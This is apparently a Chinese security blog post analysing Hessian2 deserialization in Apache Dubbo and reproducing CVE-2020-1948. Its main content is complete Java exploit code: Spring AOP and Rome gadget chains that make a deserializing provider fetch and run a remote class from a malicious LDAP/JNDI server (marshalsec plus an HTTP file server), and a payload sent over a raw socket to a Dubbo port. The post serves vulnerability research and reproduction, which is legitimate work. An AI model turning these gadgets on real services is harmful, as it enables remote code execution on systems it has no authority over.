0 前言

本篇是系列文章的第一篇,主要看看Dubbo使用反序列化协议Hessian2时,存在的安全问题。文章需要RPC、Dubbo、反序列化等前提知识点,推荐先阅读和体验Dubbo以及反序列化漏洞。

Dubbo源码分析

RPC框架dubbo架构原理及使用说明

RPC 框架 Dubbo 从理解到使用(一)

[RPC 框架 Dubbo 从理解到使用(二)

1 反序列化协议-Hessian2

hessian2是由caucho开发的基于Binary-RPC协议实现的远程通讯库,知名Web容器Resin的也是由caucho开发的。

在java中使用hessian2进行序列化和反序列化时,通过native方法或者反射(实际也用了native方法)直接对Field进行复制操作,与某些调用setter和getter方法反序列化的方法不同。

1.1 目标类类型反序列化器

在使用hessian2进行序列化和反序列化操作时,会自动根据类对象选择序列化器和反序列化器,例如在Dubbo的jar包中,有com.alibaba.com.caucho.hessian.io.Hessian2Output类,该类有writeObject方法如下

  • com.alibaba.com.caucho.hessian.io.Hessian2Output#writeObject()
@Override
public void writeObject(Object object) throws IOException {
if (object == null) {
writeNull();
return;
} Serializer serializer;
serializer = findSerializerFactory().getSerializer(object.getClass());
serializer.writeObject(object, this);
}

这里的serializer对象,显然就是通过传入的object类型,找到对应的序列化器,然后再使用对应的序列化器,对object进行序列化。hessian2中可以序列化的类型与相应的序列化器和反序列化器对应关系如下

类型 序列化器 反序列化器
Collection CollectionSerializer CollectionDeserializer
Map MapSerializer MapDeserializer
Iterator IteratorSerializer IteratorDeserializer
Annotation AnnotationSerializer AnnotationDeserializer
Interface ObjectSerializer ObjectDeserializer
Array ArraySerializer ArrayDeserializer
Enumeration EnumerationSerializer EnumerationDeserializer
Enum EnumSerializer EnumDeserializer
Class ClassSerializer ClassDeserializer
默认 JavaSerializer JavaDeserializer
Throwable ThrowableSerializer
InputStream InputStreamSerializer InputStreamDeserializer
InetAddress InetAddressSerializer

可以看出,Collection、Map、Iterator、Array这些常用类型都有相应的(反)序列化器

1.2 Hessian2中的gadget起始点

前面提到针对不同类型Hessian2中有相应的(反)序列化器,添加hessian2的依赖,从com.caucho.hessian.io.Hessian2Input#readObject()开始看源代码

  • com.caucho.hessian.io.Hessian2Input#readObject(Class cl)
public Object readObject(Class cl) throws IOException{
if (cl == null || cl == Object.class) return readObject(); int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();
switch (tag) {
case 'N':
{return null;}
..... // 省略
case 'H':
{
Deserializer reader = findSerializerFactory().getDeserializer(cl);
return reader.readMap(this);
} case 'M':
{
String type = readType();
// hessian/3bb3
if ("".equals(type)) {
Deserializer reader;
reader = findSerializerFactory().getDeserializer(cl);
return reader.readMap(this);
}
else {
Deserializer reader;
reader = findSerializerFactory().getObjectDeserializer(type, cl);
return reader.readMap(this);
}
}
..... // 省略
}
}

这里的case中,H是HashMap的序列化标志,M是Map的序列化标志,Hessian2反序列化时,根据该标值,获取相应的反序列化器,即Deserializer,而针对不同的类型,反序列化器还有不同的处理,这里H和M都会获取到MapDeserializer,因此跟进该类的readMap方法

  • com.caucho.hessian.io.MapDeserializer#readMap(AbstractHessianInput in)
public Object readMap(AbstractHessianInput in) throws IOException {
Map map; if (_type == null)
map = new HashMap();
else if (_type.equals(Map.class))
map = new HashMap();
else if (_type.equals(SortedMap.class))
map = new TreeMap();
else {
try {
map = (Map) _ctor.newInstance();
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
} in.addRef(map);
while (! in.isEnd()) {
map.put(in.readObject(), in.readObject());
}
in.readEnd();
return map;
}

可以看到,根据_type这个参数去选择构建哪种类型的Map类,而后通过while循环调用map.put方法将所有的key-value,传递到map中,而后返回这个创建的Map实例。如果对Commons-Collections利用链比较熟悉的话,应该会想到HashMap的利用链,在调用HashMap#put方法时,会触发HashMap#hashCode方法,并进一步调用key.hashCode()方法,由于key被设置为了TiedMapEntry的实例,因此一步一步进入Transformer调用链。而这里的map.put方法正是Hessian2的gadget起始点。在Dubbo中,虽然对Hessian2进行了一些魔改,但最终也会出现相同的调用:

2 Dubbo中的Hessian2漏洞利用

所用到的环境:

dubbo 2.7.3

springboot 1.2.0.RELEASE (spring version 4.1.3.RELEASE)

2.1 本地方法测试

前面以及提到了,由于hessian2协议在反序列化中调用readObject()方法时,会调用根据反序列化的Map类型创建一个新的Map对象,而后调用该对象的put方法,因而可能造成反序列化漏洞利用。这里先自己写一个类实验一下

package com.bitterz.dubbo;

import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput;
import java.io.*;
import java.util.HashMap; public class Hessian2Gadget {
public static class MyHashMap<K, V> extends HashMap<K, V>{ public V put(K key, V value) {
super.put(key, value);
System.out.println(111111111);
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){}
System.out.println(22222222);
return null;
}
} public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
MyHashMap map = new MyHashMap();
map.put("1", "1"); // hessian2的序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput hessian2Output = new Hessian2ObjectOutput(byteArrayOutputStream);
hessian2Output.writeObject(map);
hessian2Output.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray(); System.out.println(new String(bytes, 0, bytes.length));
// hessian2的反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
Hessian2ObjectInput hessian2Input = new Hessian2ObjectInput(byteArrayInputStream);
HashMap o = (HashMap) hessian2Input.readObject();
o.get(null); System.out.println(o);
}

我这里创建了一个MyHashMap类继承自HashMap,并重写了put方法,而后在main方法中利用hessian2对MyHashMap进行序列化和反序列化操作,执行代码后,输出结果如下

很明显,MyHashMap#put方法执行了两次:

  • 序列化前为了向map中添加值put了一次,所以弹出一次计算器,并输出了111和222;

  • 反序列化时,如前面所述,会调用到反序列化Map类的put方法去添加值,所以又弹出一次计算器,并输出111和222;

因此Dubbo中hessian2协议确实存在被反序列化漏洞利用的可能性,但真正的Web环境中,不可能存在MyHashMap这样的类,直接提供弹计算器的put方法:)因此还需要结合其它依赖进一步增加gadget的可利用性。

2.2 SpringPartiallyComparableAdvisorHolder

Dubbo缺省依赖Spring、Javassist、netty等包,但实际开发使用中很可能用到springboot做微服务,以provider的身份提供服务,所以可以借助常用的包完成gadget的构建,常见的hessian2可用gadget主要是ResinRomeSpringAbstractBeanFactoryPointcutAdvisorXBean这几个。SpringPartiallyComparableAdvisorHolder是Spring AOP中需要用到的类,所以就以这个为例子构建一下poc,代码如下

package com.bitterz.dubbo;

import com.caucho.hessian.io.*;
import org.apache.commons.logging.impl.NoOpLog;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap; public class Hessian2SpringGadget {
public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
public NoWriteReplaceSerializerFactory() {
} public Serializer getObjectSerializer(Class<?> cl) throws HessianProtocolException {
return super.getObjectSerializer(cl);
} public Serializer getSerializer(Class cl) throws HessianProtocolException {
Serializer serializer = super.getSerializer(cl);
return (Serializer)(serializer instanceof WriteReplaceSerializer ? UnsafeSerializer.create(cl) : serializer);
}
} public static class Reflections{
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
Field field=null;
Class cl = obj.getClass();
while (cl != Object.class){
try{
field = cl.getDeclaredField(fieldName);
if(field!=null){
break;}
}
catch (Exception e){
cl = cl.getSuperclass();
}
}
if (field==null){
System.out.println(obj.getClass().getName());
System.out.println(fieldName);
}
field.setAccessible(true);
field.set(obj,fieldValue);
} public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
} public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
} public static void main(String[] args) throws Exception {
String jndiUrl = "ldap://localhost:1389/ExecTest";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl); //反序列化时BeanFactoryAspectInstanceFactory.getOrder会被调用,会触发调用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); //反序列化时AspectJAroundAdvice.getOrder会被调用,会触发BeanFactoryAspectInstanceFactory.getOrder
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", jndiUrl); //反序列化时AspectJPointcutAdvisor.getOrder会被调用,会触发AspectJAroundAdvice.getOrder
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif); //反序列化时PartiallyComparableAdvisorHolder.toString会被调用,会触发AspectJPointcutAdvisor.getOrder
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice); //反序列化时Xstring.equals会被调用,会触发PartiallyComparableAdvisorHolder.toString
Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor); //反序列化时HotSwappableTargetSource.equals会被调用,触发Xstring.equals
HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx")); //反序列化时HashMap.putVal会被调用,触发HotSwappableTargetSource.equals。这里没有直接使用HashMap.put设置值,直接put会在本地触发利用链,所以使用marshalsec使用了比较特殊的处理方式。
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true); // 避免序列化时触发gadget
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl); // hessian2序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(sf);
hessian2Output.writeObject(s);
hessian2Output.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray(); // hessian2反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
HashMap o = (HashMap) hessian2Input.readObject(); }
}

还需要用marshalsec开一个恶意ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest

其中ExecTest.class由如下代码编译而成

import java.io.IOException;
public class ExecTest {
public ExecTest() throws IOException {
final Process process = Runtime.getRuntime().exec("calc");
}
}

之后用python在ExecTest.class文件目录中开启文件下载服务

py -3 -m http.server 8090

运行前面的gadget,ldap服务收到请求,并让客户端访问8090端口下载.class文件,并执行该类的无参构造方法,弹出计算器

前面的gadget在注释中已经写明了具体的触发路径,就不做详细的展开了,可以将ExecTest.java中弹计算器的代码替换成new java.io.IOException().printStackTrace();,再跟踪调用栈即可。这个gadget在springboot下无法复现成功,可能是springboot中aop相关类有一些修改

2.3 Rome (CVE-2020-1948复现)

Rome是java中实现RSS订阅的包,依赖如下

<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.8.0</version>
</dependency>

这里复现CVE-2020-1948(Apache Dubbo Provider 反序列化)

  • 首先下载zookeeper
wget http://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
tar zxvf zookeeper-3.3.3.tar.gz
cd zookeeper-3.3.3
cp conf/zoo_sample.cfg conf/zoo.cfg
  • 配置
vim conf/zoo.cfg
# The number of milliseconds of each tick
tickTime=2000
# The number of ticks that the initial
# synchronization phase can take
initLimit=10
# The number of ticks that can pass between
# sending a request and getting an acknowledgement
syncLimit=5
# the directory where the snapshot is stored.
dataDir=/绝对路径/zookeeper-3.3.3/data
# the port at which the clients will connect
clientPort=2181
  • 修改绝对路径,在data目录下放置一个myid文件
mkdir data
touch data/myid
  • 启动zookeeper
cd /private/var/tmp/zookeeper-3.3.3/bin
./zkServer.sh start
  • 安装dubbo-samples
git clone https://github.com/apache/dubbo-samples.git
cd dubbo-samples/dubbo-samples-api
  • 修改dubbo-samples/dubbo-samples-api/pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId>
<artifactId>dubbomytest</artifactId>
<packaging>pom</packaging>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>8</source>
<target>8</target>
</configuration>
</plugin>
</plugins>
</build> <properties>
<source.level>1.8</source.level>
<target.level>1.8</target.level>
<dubbo.version>2.7.6</dubbo.version>
<junit.version>4.12</junit.version>
<docker-maven-plugin.version>0.30.0</docker-maven-plugin.version>
<jib-maven-plugin.version>1.2.0</jib-maven-plugin.version>
<maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
<maven-failsafe-plugin.version>2.21.0</maven-failsafe-plugin.version>
<image.name>${project.artifactId}:${dubbo.version}</image.name>
<java-image.name>openjdk:8</java-image.name>
<dubbo.port>20880</dubbo.port>
<zookeeper.port>2181</zookeeper.port>
<main-class>org.apache.dubbo.samples.provider.Application</main-class>
</properties> <dependencies>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-common</artifactId>
<version>2.7.3</version>
</dependency> <dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-dependencies-zookeeper</artifactId>
<version>2.7.3</version>
<type>pom</type>
</dependency>
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.8.0</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency> </dependencies> </project>
  • 编译启动
mvn clean package
或者直接在idea里面启动provider/Application.java

注意修改zookeeper和dubbo的端口,启动后输出dubbo service started即表示dubbo已启动

使用的payload如下

import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.sql.SQLException;
import java.util.HashMap;
import java.util.Random;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
import com.caucho.hessian.io.*;
import sun.reflect.ReflectionFactory; import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; public class Hessian2RomeGadget {
public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
public NoWriteReplaceSerializerFactory() {
} public Serializer getObjectSerializer(Class<?> cl) throws HessianProtocolException {
return super.getObjectSerializer(cl);
} public Serializer getSerializer(Class cl) throws HessianProtocolException {
Serializer serializer = super.getSerializer(cl);
return (Serializer)(serializer instanceof WriteReplaceSerializer ? UnsafeSerializer.create(cl) : serializer);
}
} public static class Reflections{
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
Field field=null;
Class cl = obj.getClass();
while (cl != Object.class){
try{
field = cl.getDeclaredField(fieldName);
if(field!=null){
break;}
}
catch (Exception e){
cl = cl.getSuperclass();
}
}
if (field==null){
System.out.println(obj.getClass().getName());
System.out.println(fieldName);
}
field.setAccessible(true);
field.set(obj,fieldValue);
} public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
} public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
} public static void main(String[] args) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
//todo 此处填写ldap url
rs.setDataSourceName("ldap://127.0.0.1:1389/ExecTest");
rs.setMatchColumn("foo");
Reflections.setFieldValue(rs, "listeners",null); ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item); HashMap s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
Reflections.setFieldValue(s, "table", tbl); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 0x20 | 2); // set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4); ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
out.setSerializerFactory(sf); out.writeObject(s); out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
} Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); byte[] bytes = byteArrayOutputStream.toByteArray(); //todo 此处填写被攻击的dubbo服务提供者地址和端口
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}

和前面2.2一样,用marshalsec开启jndi服务,再用python开个文件下载服务,然后执行payload,向dubbo发送恶意数据,而后在dubbo provider中反序列化触发相应的gadget,实现rce,效果如下

该漏洞在Dubbo 2.7.8中被修复,通过添加黑名单的形式过滤了关键类

总结

dubbo中的hessian2反序列化时,处理map类型的对象会调用map.get方法,而get方法在HashMap的实现中会设计到hashCode、equals方法的调用,从而给某些危险的类方法调用造成了可乘之机。而dubbo使用hessian2作为默认的反序列化协议,容易被发起反序列化漏洞攻击,应当使用白名单过滤反序列化类名。另外有大佬提到,使用黑名单的情况下,对象被反序列化后,调用对象的其它方法,也可能造成威胁http://rui0.cn/archives/1338

这一篇是Dubbo反序列化研究记录的开始,后面还将针对

  • Dubbo 2.x下的kryo、fst反序列化漏洞进行学习和研究(CVE-2021-25641)
  • 基于kryo的akka协议在flink中的漏洞进行挖掘(https://bcs.qianxin.com/live/show.php?itemid=33)
  • 以及Dubbo 3.x下的triple协议产生的安全漏洞进行挖掘(https://bcs.qianxin.com/live/show.php?itemid=33)
  • 漏洞复现:CVE-2021-30180:Apache Dubbo YAML 反序列化漏洞、CVE-2021-30181:Apache Dubbo Nashorn 脚本远程代码执行漏洞、CVE-2021-30179:Apache Dubbo Generic filter 远程代码执行漏洞、CVE-2021-32824:Apache Dubbo Telnet handler 远程代码执行漏洞复现

Dubbo的反序列化安全问题-Hessian2的更多相关文章

  1. Dubbo的反序列化安全问题——kryo和fst

    目录 0 前言 1 Dubbo的协议设计 2 Dubbo中的kryo序列化协议触发点 3 Dubbo中的fst序列化协议触发点 3.1 fst复现 3. 2 思路梳理 4 总结 0 前言 本篇是Dub ...

  2. dubbo 序列化机制之 hessian2序列化实现原理分析

    对于远程通信,往往都会涉及到数据持久化传输问题.往大了说,就是,从A发出的信息,怎样能被B接收到相同信息内容!小点说就是,编码与解码问题! 而在dubbo或者说是java的远程通信中,编解码则往往伴随 ...

  3. 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现

    一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...

  4. dubbo序列化

    序列化:把对象转换为字节序列的过程称为对象的序列化. 反序列化:把字节序列恢复为对象的过程称为对象的反序列化. dubbo 支持多种序列化方式并且序列化是和协议相对应的.比如:dubbo协议的 dub ...

  5. dubbo 支持的9种协议

    转: dubbo 支持的9种协议 文章目录 一.9种协议        1.dubbo 协议 (默认)        2.rmi 协议        3.hessian 协议        4.htt ...

  6. 网络协议-dubbo协议

    Dubbo支持dubbo.rmi.hessian.http.webservice.thrift.redis等多种协议,但是Dubbo官网是推荐我们使用Dubbo协议的. 下面我们就针对Dubbo的每种 ...

  7. 通过CVE-2021-43297漏洞在Apache Dubbo<=2.7.13下实现RCE

    目录 0 前言 1 找源头 1.1 找到触发点 1.2 可用的gadget 1.3 向上推触发点 2 构造poc 2.1 开启HttpServer 2.2 hessian2序列化过程简述 3 poc ...

  8. dubbo序列化的一点注意

    最近工作中遇见了一个小问题,在此记录一下,大致是这样的,有一父类,有一个属性traceId,主要是记录日志号,这样可以把所有日志串起来,利于排查问题,所有的pojo对象继承于此,但是其中一同事在子类p ...

  9. Dubbo序列化多个CopyOnWriteArrayList对象变成同一对象的一个大坑!!

    环境: win10 + jdk 1.8 + dubbo 2.5.10 问题描述: 当一个对象(此对象内包含多个CopyOnWriteArrayList对象) 作为参数调用RPC接口后, 服务提供者拿到 ...

随机推荐

  1. python并发与futures模块

    非并发程序(用于对比) 从网上下载20个国家的国旗图像: import os import time import sys import requests # 导入requests库 POP20_CC ...

  2. [转载20131024]Nginx服务器漏洞的利用和修复方法

    本文主要分为两大部分,第一部分介绍了Nginx的一些常见安全漏洞的形成原因.利用方法,并给出了相应的解决办法;第二部分介绍了Nginx安全加固时需要关注的主要内容. Nginx(发音同engine x ...

  3. Python - with 语句

    管理外部资源的背景 在编程中会面临的一个常见问题是如何正确管理外部资源,例如文件.锁和网络连接 有时,程序会永远保留这些资源,即使不再需要它们,这种现象称为内存泄漏 因为每次创建和打开给定资源的新实例 ...

  4. AT2164-[AGC006C]Rabbit Exercise【差分,倍增,数学期望】

    正题 题目链接:https://www.luogu.com.cn/problem/AT2164 题目大意 \(n\)只兔子编号为\(1\sim n\),第\(i\)只在坐标轴\(x_i\)处.然后\( ...

  5. IdentityServer4系列[6]授权码模式

    授权码模式是一种混合模式,是目前功能最完整.流程最严密的授权模式.它主要分为两大步骤:认证和授权.其流程为: 用户访问客户端,客户端将用户导向Identity Server. 用户填写凭证信息向客户端 ...

  6. Bert文本分类实践(一):实现一个简单的分类模型

    写在前面 文本分类是nlp中一个非常重要的任务,也是非常适合入坑nlp的第一个完整项目.虽然文本分类看似简单,但里面的门道好多好多,作者水平有限,只能将平时用到的方法和trick在此做个记录和分享,希 ...

  7. List接口常用实现类对比

    相同点 都实现了List接口 储存了有序 可重复的数据 不同点 ArrayList 线程不安全 但是效率高 底层使用 Object[] elementData 实现 LinkedList 底层使用双向 ...

  8. linux下修改IP地址的方法

    linux下修改IP地址的方法 1.网卡的命名规则 在centos7中,en表示着:ethernet以太网,即现在所用的局域网,enX(X常见有以下3种类型) 2.IP地址的临时修改(重启后失效) 查 ...

  9. Kali安装OWASP

    我是2019版的kali,里面并没有自带OWASP工具,因为OWASP不再更新的因素,所以新版kali将它移除了  安装OWASP apt-get install zaproxy #以下都是安装软件时 ...

  10. 【UE4】GAMES101 图形学作业2:光栅化和深度缓存

    总览 在上次作业中,虽然我们在屏幕上画出一个线框三角形,但这看起来并不是那么的有趣.所以这一次我们继续推进一步--在屏幕上画出一个实心三角形,换言之,栅格化一个三角形.上一次作业中,在视口变化之后,我 ...